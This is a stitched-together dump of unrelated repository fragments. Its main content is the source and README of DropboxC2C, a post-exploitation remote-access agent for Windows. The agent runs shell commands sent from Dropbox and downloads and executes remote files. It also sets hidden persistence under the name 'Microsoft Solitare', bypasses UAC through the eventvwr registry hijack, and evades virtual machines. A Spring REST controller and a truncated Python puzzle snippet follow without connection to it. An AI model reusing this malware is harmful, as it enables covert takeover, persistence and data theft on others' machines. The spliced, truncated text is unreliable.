sendTask(interactedAgent,"keylog_dump")
def do_exec(self,s):
sendTask(interactedAgent,"{SHELL}%s" % s)
def do_downloadexecute(self,s):
sendTask(interactedAgent,"{DOWNLOAD}%s" % s)
def do_persist(self,s):
sendTask(interactedAgent,"persist")
def do_back(self,s):
interactedAgent = ""
return True
def emptyline(self):
pass
def main():
print banner
agents = AgentChecker()
checker = TaskChecker()
commandInputs = Input().cmdloop()
if __name__ == "__main__":
main()
<file_sep># DropboxC2C
DropboxC2C is a post-exploitation agent which uses Dropbox Infrastructure for command and control operations.
DO NOT USE THIS FOR MALICIOUS PURPOSES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OF THIS PROGRAM.
Dropbox-C2C is an old project of mine to use a thirdparty for command and control. Since the guys at Empire implemented dropbox as a C2C i am releasing this.
# Structure
* main.py - The "server" part which manages all the agents.
* agent.py - The "client" part which does what the server tells.
I have removed the keylogging functions so this doesn't get missused.
# Requirements
* Python 2.7
* Libraries
* dropbox
* psutil
* pyinstaller
# Installation
1-) Clone the repository.
2-) Modify the API Key on agent.py and main.py # The api key must be created from the dropbox web interface.
3-) Run setup.bat on a Windows Machine. You will get agent.exe which is the "compiled" agent.
4-) Run main.py and run the agent on the compromised server.
Video Coming Soon
# Screenshots
Screenshot - 1

Screenshot - 2

Screenshot - 3

Screenshot - 4

<file_sep>from _winreg import *
from win32file import CopyFile
import requests
import os
import dropbox
import time
import threading
import cmd
import platform
import psutil
import json
import base64
import ctypes
import subprocess
import uuid
import sys
apiKey = "CHANGE API KEY"
# Create a dropbox object
dbx = dropbox.Dropbox(apiKey)
agentName = ""
tasks = {}
keyloggerStarted = False
completedTasks = []
def executeBackground(command):
subprocess.Popen([command.split()])
return True
def ExecuteShellCommand(command):
data = ""
try:
p = subprocess.Popen(command,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
for output in iter(p.stdout.readline, b''):
data += output
except Exception, err:
pass
data = err
return data
def exec_keylog_start():
keyloggerStarted = True
data = "[+] Keylogger Started Successfully [+]"
#CODE REMOVED
return base64.b64encode(str(data))
def exec_keylog_stop():
keyloggerStarted = False
data = "[+] Keylogger Stopped Successfully [+]"
#CODE REMOVED
return base64.b64encode(str(data))
def exec_bypassuac():
if(ctypes.windll.shell32.IsUserAnAdmin()):
data = "[+] Agent is running with Administrative Privileges [+]"
else:
keyVal = r'Software\Classes\mscfile\shell\open\command'
try:
key = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
except:
key = CreateKey(HKEY_CURRENT_USER, keyVal)
SetValueEx(key, None, 0, REG_SZ, sys.executable)
CloseKey(key)
os.system("eventvwr")
data = "[+] Task bypassuac Executed Successfuly [+]"
return base64.b64encode(str(data))
def exec_cmd(cmd):
data = ExecuteShellCommand(cmd.split())
return base64.b64encode(str(data))
def exec_persist():
data = ""
filedrop = r'%s\Saved Games\%s' % (os.path.expandvars("%userprofile%"),'sol.exe')
currentExecutable = sys.executable
try:
CopyFile (currentExecutable, filedrop, 0)
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
key = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key, "Microsoft Solitare", 0, REG_SZ, filedrop)
CloseKey(key)
data = "[+] Persistence Completed [+]"
except Exception:
pass
data = "[-] Error while creating persistence [-]"
return base64.b64encode(str(data))
def exec_downloadexecute(url):
try:
r = requests.get(url)
filename = url.split('/')[-1]
if r.status_code == 200:
f = open(filename,'wb')
f.write(r.content)
f.close()
executeBackground(filename)
data = "[+] Task Completed Successfully [+]"
else:
data = "[-] Error [-]"
except Exception, err:
data = err
return base64.b64encode(str(data))
def doTask(command,task):
mode = (dropbox.files.WriteMode.overwrite)
output = {}
path = '/%s/output' % agentName
try:
_, res = dbx.files_download(path)
except Exception:
dbx.files_upload(json.dumps(output),path,mode)
pass
_, res = dbx.files_download(path)
output = json.loads(res.content.replace('\n',''))
# checks for commands with double parameters.
if(command.startswith('{SHELL}')):
cmd = command.split('{SHELL}')[1]
output[task] = {"OUTPUT": exec_cmd(cmd)}
if(command.startswith('{DOWNLOAD}')):
url = command.split('{DOWNLOAD}')[1]
output[task] = {"OUTPUT": exec_downloadexecute(url)}
elif(command == "persist"):
output[task] = {"OUTPUT": exec_persist()}
elif(command == "keylog_start"):
output[task] = {"OUTPUT": exec_keylog_start()}
elif(command == "keylog_stop"):
output[task] = {"OUTPUT": exec_keylog_stop()}
elif(command == "bypassuac"):
output[task] = {"OUTPUT": exec_bypassuac()}
# Upload the output of commands
try:
dbx.files_upload(json.dumps(output),path,mode)
completedTasks.append(task)
except Exception:
time.sleep(30)
pass
class agentNotifier(object):
def __init__(self, interval=20):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = False
thread.start()
def run(self):
while True:
notify()
time.sleep(self.interval)
class taskChecker(object):
def __init__(self, interval=5):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = False
thread.start()
def run(self):
while True:
checkTasks()
time.sleep(self.interval)
def checkTasks():
global tasks
path = '/%s/tasks' % agentName
for file in dbx.files_list_folder('/%s/' % agentName).entries:
if(file.name == 'tasks'):
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
for task,taskContent in tasks.iteritems():
if(str(taskContent["STATUS"]) == "Completed"):
deleteOutputKey(task)
if(str(taskContent["STATUS"]) == "Waiting" and task not in completedTasks):
doTask(str(taskContent["COMMAND"]),task)
def firstTime():
return True
def dropboxFileExists(path,file):
for fileName in dbx.files_list_folder(path).entries:
if fileName.name == file:
return True
return False
def deleteOutputKey(taskname):
path = '/%s/output' % agentName
mode = (dropbox.files.WriteMode.overwrite)
try:
if(dropboxFileExists('/%s/' % agentName ,'output')):
_, res = dbx.files_download(path)
if(res.content != ""):
outputData = json.loads(res.content.replace('\n',''))
del outputData[taskname]
else:
outputData = {}
dbx.files_upload(json.dumps(outputData),path,mode)
except Exception:
pass
def notify():
data = str(time.time())
path = '/%s/lasttime' % agentName
mode = (dropbox.files.WriteMode.add)
for file in dbx.files_list_folder('/%s/' % agentName).entries:
if(file.name == 'lasttime'):
mode = (dropbox.files.WriteMode.overwrite)
break
try:
dbx.files_upload(data,path,mode)
except Exception:
pass
time.sleep(30)
def antivm():
if(psutil.cpu_count() > 2 and platform.release() != 'XP' and firstTime()): # Change 0 to 2 again
try:
setAgentName()
dbx.files_create_folder('/%s' % agentName)
except Exception,e:
print e
pass
else:
exit(0)
def setAgentName():
global agentName
if(ctypes.windll.shell32.IsUserAnAdmin()):
agentName = "%s-%s%s" % (platform.node(),str(uuid.getnode()),"SYS")
else:
agentName = "%s-%s" % (platform.node(),str(uuid.getnode()))
def main():
antivm()
notifier = agentNotifier()
taskchecker = taskChecker()
if __name__ == "__main__":
main()
|
3a1b7cbff043ed85fa96baf6b4b65458bbace189
|
[
"Markdown",
"Batchfile",
"Python"
] | 4 |
Markdown
|
ajax33/ajax33
|
9e9b6b70b2a70dce4bfe1b90d4eae86faae38598
|
9a9ecabb2c655f126c3ac3e5546a489b296b5813
|
refs/heads/master
|
<file_sep>package controllers;
import javax.validation.ValidationException;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import DAO.Model1DAO;
import constants.RETURN;
import exceptions.NotFoundException;
import models.Model1;
import models.Response;
@RestController
public class Controller1 {
@RequestMapping("/create")
public Response create(@RequestParam(value="content", required=true) String content) {
try{
//pass to the first layer TODO:Use Interfaces? Clear the confusion
Model1 m1 =new Model1DAO().create(content);
//conversion for out-object; return
if(m1 == null) {
throw new ValidationException();
} else {
return new Response(RETURN.SUCCESS, m1);
}
}
catch(ValidationException ve) {
return new Response(RETURN.ERROR_VALIDATION);
}
catch(Exception e){
return new Response(RETURN.ERROR);
}
}
@RequestMapping("/read")
public Response read(@RequestParam(value="id", required=true) Integer id) {
try{
//conversion from in-object
//not needed here
//pass to the first layer TODO:Use Interfaces? Clear the confusion
Model1 m1 =new Model1DAO().read(id);
//conversion for out-object; return
if(m1 == null) {
throw new NotFoundException();
} else {
return new Response(RETURN.SUCCESS, m1);
}
}
catch(NotFoundException nfe) {
return new Response(RETURN.ERROR_VALIDATION);
}
catch(Exception e){
return new Response(RETURN.ERROR);
}
}
@RequestMapping(value="/update", method = RequestMethod.POST)
public Response update(@RequestBody Model1 m1) { //TODO:<ResponseEntity<>)
try{
//validation TODO:use annotations
if (!m1.isValid()) {
throw new ValidationException();
}
//conversion from in-object
//not needed here
//pass to the first layer TODO:Use Interfaces? Clear the confusion
m1 =new Model1DAO().update(m1);
//conversion for out-object; return
if(m1 == null) {
throw new NotFoundException();
} else {
return new Response(RETURN.SUCCESS, m1);
}
}
catch(ValidationException ve) {
return new Response(RETURN.ERROR_VALIDATION);
}
catch(NotFoundException nfe) {
return new Response(RETURN.ERROR_VALIDATION);
}
catch(Exception e){
return new Response(RETURN.ERROR);
}
}
@RequestMapping("/delete")
public Response delete(@RequestParam(value="id") Integer id) {
try{
//conversion from in-object
//not needed here
//pass to the first layer TODO:Use Interfaces? Clear the confusion
Boolean del_result = new Model1DAO().delete(id);
//conversion for out-object; return
if(del_result == null) {
throw new NotFoundException();
} else if (del_result == true){
return new Response(RETURN.SUCCESS, null);
} else {
return new Response(RETURN.ERROR, null);
}
}
catch(ValidationException ve) {
return new Response(RETURN.ERROR_VALIDATION);
}
catch(NotFoundException nfe) {
return new Response(RETURN.ERROR_VALIDATION);
}
catch(Exception e){
return new Response(RETURN.ERROR);
}
}
}<file_sep># spring-REST-template
(I'm doing this while learning Spring 4.0)
The goal here is to create a "Template" RESTful API service using Spring 4.0 which includes basic and essential components:
* Validation (Using Spring)
* Logging (I know, very basic. Still..)
* Multiple layers of operation
* Error handling
* //TODO: ADD THINGS HERE
Ideally, anyone should be able to just pick this up and start implementing business logic right away
|
1ba5ff1ce645d0c13550e89bcec1b71e991887c3
|
[
"Java",
"Markdown"
] | 2 |
Java
|
darshandzend/spring-REST-template
|
dff24babdb38b1cea2e3f0001a75ce6acef36274
|
3392c5859dc085068a6c651430799064859fd6ce
|
refs/heads/main
|
<file_sep>
const Engine = Matter.Engine;
const World = Matter.World;
const Bodies = Matter.Bodies;
const Body = Matter.Body;
const Constraint=Matter.Constraint;
var ball,ball1,ball2,ball3,ball4;
var slingshot
var top;
function preload()
{
}
function setup() {
createCanvas(800, 700);
engine = Engine.create();
world = engine.world;
//Create the Bodies Here.
top.createSprite(370,350,350,30)
ball = new Ball(300,390,20)
ball1= new Ball(340,390,20)
ball2= new Ball(375,390,20)
ball3= new Ball(400,390,20)
ball4= new Ball(430,390,20)
balla= new Ball(300,350,20)
ballb= new Ball(300,350,20)
ballc= new Ball(300,350,20)
balld= new Ball(300,350,20)
balle= new Ball(300,350,20)
slingshot= new SlingShot(ball2.body,balla.body);
slingshot= new SlingShot(ball1.body,balla.body);
slingshot= new SlingShot(ball2.body,balla.body);
slingshot= new SlingShot(ball3.body,balla.body);
slingshot= new SlingShot(ball4.body,balla.body);
Engine.run(engine);
}
function draw() {
rectMode(CENTER);
background("red");
ball.display()
ball1.display()
ball2.display()
ball3.display()
ball4.display()
slingshot.display()
drawSprites();
}
|
9f7036bcdf6b08807f6be7d1b3f0fcc24b68aba0
|
[
"JavaScript"
] | 1 |
JavaScript
|
priyanshupandey-pp/c27
|
46c42fb8cfccf5f6f2ab9d3b3252bd95785efbcb
|
dcc2661eda622a3481f1ffd920e847795a494000
|
refs/heads/main
|
<file_sep>#include <cstddef>
#include <iostream>
#include <cstdint>
#include <cstring>
#include <cmath>
#include <immintrin.h>
void print_m256i(__m256i var)
{
int32_t val[8];
memcpy(val, &var, sizeof(val));
std::cout << "Array: ";
for (int i=0;i<8;i++)
std::cout << val[i] << " ";
std::cout << "\n";
}
void fill_table (uint32_t arr[8])
{
for (int i=0;i<8;i++)
arr[i]= i;
}
int main (int argc, char **argv)
{
int to_search = std::stoi(argv[1]);
alignas(32) uint32_t arr[8];
fill_table(arr);
__m256i reg = _mm256_load_si256((__m256i *)&arr[0]); //load packed array to vector
print_m256i(reg);
__m256i __constant = _mm256_set1_epi32(to_search); //define constant to compare
__m256i __equal_result = _mm256_cmpeq_epi32 (reg, __constant);
unsigned equal_mask = _mm256_movemask_ps(_mm256_castsi256_ps(__equal_result));
int index = log2(equal_mask);
print_m256i(__equal_result);
std::cout << "Index " << index << std::endl;
}
<file_sep># Parallel Programming
with Thread, Process and SIMD Vector
<file_sep>/*
<NAME>
*/
#define _GNU_SOURCE
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/sem.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
key_t KEYSEM;
key_t KEYSEM2;
key_t KEYSHM;
// SIGNAL SENDING
void sem_signal(int semid, int val)
{
struct sembuf semaphore;
semaphore.sem_num = 0;
semaphore.sem_op = val;
semaphore.sem_flg = 0;
semop(semid, &semaphore, 1);
}
// SIGNAL WAITING
void sem_wait(int semid, int val)
{
struct sembuf semaphore;
semaphore.sem_num = 0;
semaphore.sem_op = (-1*val);
semaphore.sem_flg = 0;
semop(semid, &semaphore, 1);
}
int main(int argc, char *argv[])
{
int memid = 0, semap = 0, semac = 0; // IDS
int *array = NULL; // ARRAY
int f; // FORK RETURN
int i,process; // CHILDREN LABEL
/************************ INPUT FILE OPERATIONS *******************************/
//initKeys(argv);
FILE* in;
if(argc==1)
in = fopen("input.txt","r");
else
in = fopen(argv[1],"r");
int n,M;
fscanf (in, "%d", &M);
fscanf (in, "%d", &n);
KEYSEM = ftok("KEY", 'a') + 2;
KEYSEM2 = ftok("KEY", 'b') + 3;
KEYSHM = ftok("KEY", 'c') + 4;
/************************ END *******************************/
//CREATION OF CHILDREN
for (i = 0; i < 2; ++i)
{
f = fork();
if (f < 0)
{
printf("ERROR\n");
exit(1);
}
if (f == 0)
break;
}
//////////////////////////////////PARENT PROCESS OPERATIONS
if (f != 0){
//SEMAPHORE_1 FOR SYNCHRONIZATION BETWEEN PARENT AND CHILDREN
semap = semget(KEYSEM2, 1, 0700|IPC_CREAT);
semctl(semap, 0, SETVAL, 0);
//SEMAPHORE_2 FOR SYNCHRONIZATION BETWEEN CHILDREN
semac = semget(KEYSEM, 1, 0700|IPC_CREAT);
semctl(semac, 0, SETVAL, 0);
//SHARED MEMORY WITH SIZE OF THE ARRAY
memid = shmget(KEYSHM, sizeof(int)*(2*n+4), 0700|IPC_CREAT);
//ATTACH THE MEMORY TO PARENT
array = (int*)shmat(memid, 0, 0);
/***************** INPUT FILE OPERATIONS *******************************/
array[0] = n;
array[1] = M;
int c;
i=0;
while(1){
fscanf (in, "%d", &c);
array[i+4] = c;
if(feof(in))
break;
i++;
}
fclose(in);
/************************ END *******************************/
//DETACH MEMORY FROM PARENT
shmdt(array);
// WAIT FOR 2 CHILDREN
sem_wait(semap, 2);
//ATTACH MEMORY TO PARENT
array = (int*)shmat(memid, 0, 0);
/******************* OUTPUT FILE OPERATIONS *******************************/
FILE *out;
if(argc==1)
out = fopen("output.txt","w+");
else
out = fopen(argv[1],"w+");
//WRITING ARRAY A
fprintf(out,"%d\n",array[0]);
fprintf(out,"%d\n",array[1]);
for(int j=4;j<n+4;j++)
fprintf(out,"%d ",array[j]);
//WRITING ARRAY B
fprintf(out,"\n%d\n",array[2]);
for(int j=n+4;j<n+4+array[2];j++)
fprintf(out,"%d ",array[j]);
//WRITING ARRAY C
fprintf(out,"\n%d\n",array[3]);
for(int j=n+4+array[2];j<2*n+4;j++)
fprintf(out,"%d ",array[j]);
fclose(out);
/************************ END *******************************/
//DETACH MEMORY
shmdt(array);
//REMOVE SEMAPHORES AND MEMORY
semctl(semap, 0, IPC_RMID, 0);
semctl(semac, 0, IPC_RMID, 0);
shmctl(memid, IPC_RMID, 0);
exit(0);
}
//////////////////////////////////CHILD PROCESS OPERATIONS
else{
//GET SEMAPHORE AND MEMORY SPACE ID'S
semac = semget(KEYSEM, 1, 0);
semap = semget(KEYSEM2, 1, 0);
memid = shmget(KEYSHM, sizeof(int)*(2*n+4), 0);
//ATTACH MEMORY TO CHILD
array = (int*)shmat(memid, 0, 0);
process = i;
/************************ FIRST CHILD ZONE *******************************/
if(i==0){
//TRAVERSING THE ARRAY
int x=0;
for (i = 0; i < array[0]; ++i){
if(array[i+4]<=array[1]) //CONDITION FOR CHILD ONE
x++;
//WRITE X & Y TO MEMORY
array[2] = x;
array[3] = array[0] -x;
}
sem_signal(semac, 1); //SEND SIGNAL TO CHILD TWO
//WRITING TO ARRAY
int j = 0;
for (i = 0; i < array[0]; ++i){
if(array[i+4]<=array[1]){
array[4+array[0]+j] = array[4+i];
j++;
}
}
}
/**************************** END *********************************/
/********************** SECOND CHILD ZONE *****************************/
if(process==1){
sem_wait(semac, 1); //WAIT FOR SIGNAL FROM CHILD ONE
int j=0;
for (i = 0; i < array[0]; ++i){
if(array[i+4]>array[1]){
array[j+array[2]+array[0]+4] = array[i+4];
j++;
}
}
}
/**************************** END *********************************/
//DETACH MEMORY FROM CHILDREN
shmdt(array);
//SIGNAL FOR PARENT
sem_signal(semap, 1);
exit(0);
}
return 0;
}
<file_sep>#include <pthread.h> //Threads
#include <semaphore.h> //Semaphores
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <threads.h> //thrd_current()
//Set number of sources and subscribers
const int subscribers = 4;
#define subscribers 4
#define news_sources 4
sem_t exc, new;
pthread_mutex_t mtx;
sem_t waiter[subscribers];
int current_reader=subscribers, data=0;
void *read_news(void *ptr){
int index = *((int *)ptr); //Get semaphore id
int sub_name = thrd_current()%1000; //Get sub id
//Each sub will request each publishers data
for(int i=0;i<news_sources;i++){
printf("Subscriber %d requests %d\n",sub_name,i+1);
sem_wait(&waiter[index]); //Wait for a publish
//Reader gets mutex for operation
pthread_mutex_lock(&mtx);
current_reader--; //Amount of subs who received the current publish
//Reader releases mutex, simultaneous reading is allowed
pthread_mutex_unlock(&mtx);
/******𝙧𝙚𝙖𝙙𝙞𝙣𝙜*****/
printf("Subscriber %d recieved %d\n",sub_name,data);
/*********************/
//Reader gets mutex for operations
pthread_mutex_lock(&mtx);
// All subs received
if(current_reader == 0){
current_reader = subscribers; //Set for next publish
sem_post(&new); //All read, new publisher is allowed
}
//Reader releases mutex for operations
pthread_mutex_unlock(&mtx);
}
}
void *publish(void *ptr){
int id = thrd_current()%1000; //Get publisher id
printf("PUBLISHER %d requests \n",id);
sem_wait(&new); //Waiting all readers to finish
sem_wait(&exc); //Waiting any other publisher
/******𝙥𝙪𝙗𝙡𝙞𝙨𝙝𝙞𝙣𝙜*****/
data++;
/*********************/
printf("***FRESH COPIES*** Source %d published %d\n",id,data);
//Incrementing semaphore the amount of subs
for(int i=0;i<subscribers;i++){
sem_post(&waiter[i]);
}
sem_post(&exc); //Allowing other publishers
}
int main(){
//Array of threads for subscribes and sources
pthread_t sub[subscribers],sor[news_sources];
int i;
//Initialize semaphores
sem_init(&exc,0,1);
sem_init(&new,0,1);
for(i=0;i<subscribers;i++)
sem_init(&waiter[i],0,0);
pthread_mutex_init(&mtx, NULL);
int name[subscribers];
//Create threads
for(i=0;i<subscribers;i++){
name[i] = i;
pthread_create(&sub[i], NULL, (void *)read_news,(void *)&name[i]);}
for(i=0;i<news_sources;i++)
pthread_create(&sor[i], NULL, (void *)publish, "");
//Running threads
for(i=0;i<news_sources;i++)
pthread_join(sor[i], NULL);
for(i=0;i<subscribers;i++)
pthread_join(sub[i], NULL);
//Destroy semaphores
sem_destroy(&exc);
sem_destroy(&new);
for(i=0;i<subscribers;i++)
sem_destroy(&waiter[i]);
pthread_mutex_destroy(&mtx);
return 0;
}<file_sep>An improvement on the famous reader writer problem.
“m” news source proccesses and “n” subscriber processes, each news source process delivers data “d” to all subscriber processes by calling publish function.
Meanwhile, every subscriber process can call read_news() function in order to fetch the copy of the published data “d”.
During this operation, the processes follow the rules given below:
i. A subscriber can only fetch a copy of a news once. If there are not any published news yet, the subscriber process should be suspended.
ii. A news source cannot publish a new data, until the previously published one is fetched by all subscribers. It should wait inside the function until all previous copies are delivered.
<file_sep>
The program creates two sub-arrays (namely B and C), and copies the elements of A into these subarrays based on their values.
|
be02c858b107caba7f4d857ed1829b67d1203279
|
[
"Markdown",
"C++",
"C"
] | 6 |
Markdown
|
berruk/Operating-Systems
|
54e9adfcabae241df205ec77562853a5b9817ca2
|
c60720483ef7761330223846f14784c5ff70d19d
|
refs/heads/main
|
<repo_name>15980904537/visualization<file_sep>/src/components/charts2.tsx
import React, { useRef, useEffect } from "react";
import * as echarts from "echarts";
import { createEchartsOptions } from "../shared/createEchartsOption";
import { px } from "../shared/px";
export const Chart2: React.FunctionComponent = () => {
const divRef = useRef(null);
const myChart = useRef(null);
const data = [
{ name: "城关区公安局", 2011: 2, 2012: Math.random() * 10 },
{ name: "七里河区公安局", 2011: 2, 2012: 3 },
{ name: "西固区公安局", 2011: 2, 2012: 3 },
{ name: "安宁区公安局", 2011: 2, 2012: 3 },
{ name: "红古区公安局", 2011: 2, 2012: 3 },
{ name: "永登县公安局", 2011: 2, 2012: 3 },
{ name: "皋兰县公安局", 2011: 2, 2012: 3 },
{ name: "榆中县公安局", 2011: 2, 2012: 3 },
{ name: "新区公安局", 2011: 2, 2012: 3 },
];
useEffect(() => {
setInterval(() => {
const newData = [
{ name: "城关区公安局", 2011: 2, 2012: Math.random() * 10 },
{ name: "七里河区公安局", 2011: 2, 2012: 3 },
{ name: "西固区公安局", 2011: 2, 2012: 3 },
{ name: "安宁区公安局", 2011: 2, 2012: 3 },
{ name: "红古区公安局", 2011: 2, 2012: 3 },
{ name: "永登县公安局", 2011: 2, 2012: 3 },
{ name: "皋兰县公安局", 2011: 2, 2012: 3 },
{ name: "榆中县公安局", 2011: 2, 2012: 3 },
{ name: "新区公安局", 2011: 2, 2012: 3 },
];
x(newData);
}, 1000);
}, []);
const x = (newData) => {
myChart.current.setOption(
createEchartsOptions({
grid: {
top: px(20),
right: px(20),
left: px(70),
bottom: px(20),
},
xAxis: {
type: "value",
boundaryGap: [0, 0.01],
splitLine: { show: false },
axisLine: {
show: false,
},
axisLabel: { show: false },
},
yAxis: {
type: "category",
axisTick: { show: false },
data: newData.map((i) => i.name),
axisLabel: {
formatter(value) {
return value.replace("公安局", "\n公安局");
},
},
},
series: [
{
name: "破案排名1",
type: "bar",
data: newData.map((i) => i[2011]),
itemStyle: {
normal: {
color: new echarts.graphic.LinearGradient(0, 0, 1, 0, [
{
offset: 0,
color: "#2034F9",
},
{
offset: 1,
color: "#04A1FF",
},
]),
},
},
},
{
name: "破案排名2",
type: "bar",
data: newData.map((i) => i[2012]),
itemStyle: {
normal: {
color: new echarts.graphic.LinearGradient(0, 0, 1, 0, [
{
offset: 0,
color: "#B92AE8",
},
{
offset: 1,
color: "#6773E7",
},
]),
},
},
},
],
})
);
};
useEffect(() => {
myChart.current = echarts.init(divRef.current);
x(data);
}, []);
return (
<div className="border 破获排名">
<h1>案件破获排名</h1>
<div ref={divRef} className="chart1"></div>
<div className="legend">
<span className="first" /> 破案排名1
<span className="second" /> 破案排名2
</div>
</div>
);
};
<file_sep>/src/components/charts5.tsx
import React, { useRef, useEffect } from "react";
export const Chart5: React.FunctionComponent = () => {
return (
<div className="战果数对比">
<h1>往年战果数对比</h1>
<table>
<thead>
<tr>
<th>年份</th>
<th>破案数</th>
<th>抓获嫌疑人</th>
<th>并串案件</th>
<th>现勘录入</th>
<th>视侦录入</th>
<th>合成案件数</th>
<th>合计</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
</tr>
<tr>
<td>2016</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
</tr>
<tr>
<td>2017</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
</tr>
</tbody>
</table>
</div>
);
};
<file_sep>/src/shared/baseEchartOption.ts
import { px } from "./px";
export const baseEchartOptions = {
textStyle: {
fontSize: px(12),
},
axisTick: { show: false },
axisLine: {
lineStyle: { color: "#083B70" },
},
grid: {
top: px(20),
right: px(20),
left: px(50),
bottom: px(50),
},
};
<file_sep>/src/components/charts4.tsx
import React, { useRef, useEffect } from "react";
import * as echarts from "echarts";
import { createEchartsOptions } from "../shared/createEchartsOption";
import { px } from "../shared/px";
export const Chart4: React.FunctionComponent = () => {
const divRef = useRef(null);
useEffect(() => {
var chart = echarts.init(divRef.current);
chart.setOption(
createEchartsOptions({
grid: {
top: px(20),
left: px(20),
right: px(20),
bottom: px(20),
containLabel: true,
},
xAxis: {
type: "category",
boundaryGap: false,
axisTick: { show: false },
axisLine: { show: false },
splitLine: { show: true, lineStyle: { color: "#083B70" } },
data: [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24],
},
yAxis: {
type: "value",
splitLine: { show: true, lineStyle: { color: "#083B70" } },
axisLabel: {
formatter(val) {
return val * 100 + "%";
},
},
},
series: [
{
data: [
0.15,
0.13,
0.11,
0.13,
0.14,
0.15,
0.16,
0.18,
0.21,
0.19,
0.17,
0.16,
0.15,
],
type: "line",
symbol: "circle",
symbolSize: px(12),
lineStyle: { width: px(2) },
areaStyle: {
color: new echarts.graphic.LinearGradient(0, 0, 0, 1, [
{
offset: 0,
color: "#414a9f",
},
{
offset: 1,
color: "#1b1d52",
},
]),
},
},
],
})
);
}, []);
return (
<div className="border 时段分析">
<h1>案发时段分析</h1>
<div ref={divRef} className="chart1"></div>
</div>
);
};
<file_sep>/src/pages/home.tsx
import React from "react";
import "./home.scss";
import imgageHeader from "../images/header.png";
import { Chart1 } from "../components/charts1";
import { Chart2 } from "../components/charts2";
import { Chart3 } from "../components/charts3";
import { Chart4 } from "../components/charts4";
import { Chart5 } from "../components/charts5";
export const Home = () => {
const year = new Date().getFullYear();
return (
<div className="home">
<header style={{ backgroundImage: `url(${imgageHeader})` }}></header>
<main>
<section className="section1">
<Chart1 />
<Chart2 />
</section>
<section className="section2">
<Chart3 />
<Chart4 />
</section>
<section className="border section3">3</section>
<section className="border section4">4</section>
<section className="border section5">
<Chart5 />
</section>
</main>
<footer>© 饥人谷 2020-{year}</footer>
</div>
);
};
<file_sep>/src/pages/home.scss
@import '../shared/helper';
.home {
flex: 1;
display: flex;
flex-direction: column;
color: white;
font-size: px(16);
>header {
margin: 0 auto;
height: px(99);
background-size: cover;
width: px(2420);
}
>footer {
height: px(68);
border: 1px solid #0d2d59;
margin: px(20) 0 1px;
border-radius: 4px;
background: #0c0d2b;
display: flex;
align-items: center;
justify-content: center;
}
>main {
display: grid;
flex: 1;
grid-template: "box1 box2 box3 box4" 755fr "box5 box5 box3 box4" 363fr / 366fr 361fr 811fr 747fr;
grid-column-gap: px(28);
grid-row-gap: px(28);
padding-top: px(30);
section {
text-align: center;
}
.border {
border: 1px solid #0764bc;
border-radius: 4px;
box-shadow: 0 0 2px 0 #0e325f, inset 0 0 2px 0 #0e325f;
background: #0c1139;
position: relative;
&::after {
content: '';
position: absolute;
top: 0;
left: 0;
bottom: 0;
right: 0;
box-shadow: 17px 0 0 -16px #0e325f, -17px 0 0 -16px #0e325f, 0 17px 0 -16px #0e325f, 0 -17px 0 -16px #0e325f, 9px 0 0 -8px #0d4483, -9px 0 0 -8px #0d4483, 0 9px 0 -8px #0d4483, 0 -9px 0 -8px #0d4483;
}
}
.管辖统计,
.破获排名,
.趋势分析,
.时段分析,
.战果数对比 {
display: flex;
flex-direction: column;
align-items: center;
height: px(315);
h1 {
border: 1px solid #0a5299;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
font-size: px(22);
padding: px(10) px(28);
text-shadow: 0 0 px(3) white;
}
.chart1 {
flex: 1;
width: 100%;
}
}
.破获排名 {
height: px(423);
.legend {
display: flex;
align-items: center;
justify-content: flex-end;
width: 100%;
padding: 0 px(20) px(10);
>.first,
>.second {
display: inline-block;
width: px(18);
height: px(12);
background: red;
margin: 0 px(10);
}
.first {
background: linear-gradient(90deg, #2034f9 0%, #04a1ff 100%);
}
.second {
background: linear-gradient(90deg, #b92ae8 0%, #6773e7 100%);
}
}
}
.趋势分析,
.时段分析 {
height: px(363);
}
.战果数对比 {
padding: 0 px(24);
table {
border-collapse: collapse;
width: 100%;
table-layout: fixed;
margin-top: px(25);
th,
td {
border: 1px solid #1a3671;
}
thead th {
height: px(70);
box-shadow: inset 0 0 px(60) 0 #1f3d85;
}
tbody td {
height: px(50);
width: px(84);
background: #1c2456;
}
}
}
.section1 {
grid-area: box1;
display: flex;
flex-direction: column;
justify-content: space-between;
}
.section2 {
grid-area: box2;
display: flex;
flex-direction: column;
justify-content: space-between;
}
.section3 {
grid-area: box3;
}
.section4 {
grid-area: box4;
}
.section5 {
grid-area: box5;
}
}
}<file_sep>/src/shared/px.ts
export const px = (n) => {
return (n / 2420) * (window as any).pageWidth
}
|
7b31bf772b61ada6f5aca9d23ad7d51464b6ba1b
|
[
"SCSS",
"TypeScript",
"TSX"
] | 7 |
SCSS
|
15980904537/visualization
|
4668fe3b56dac61d9ce466266ebdf578aeffb631
|
0ad6b95dc3ec247fb1dd71b0a1f1ce2b1fd93a51
|
refs/heads/master
|
<file_sep>import sys
K = int(input())
cnt = 1
if K % 2 == 0:
print(-1)
sys.exit()
target = 7
i = 0
while True :
if (cnt >= 2):
target_1 = '7' * cnt
target_2 = '7' * (cnt - 1)
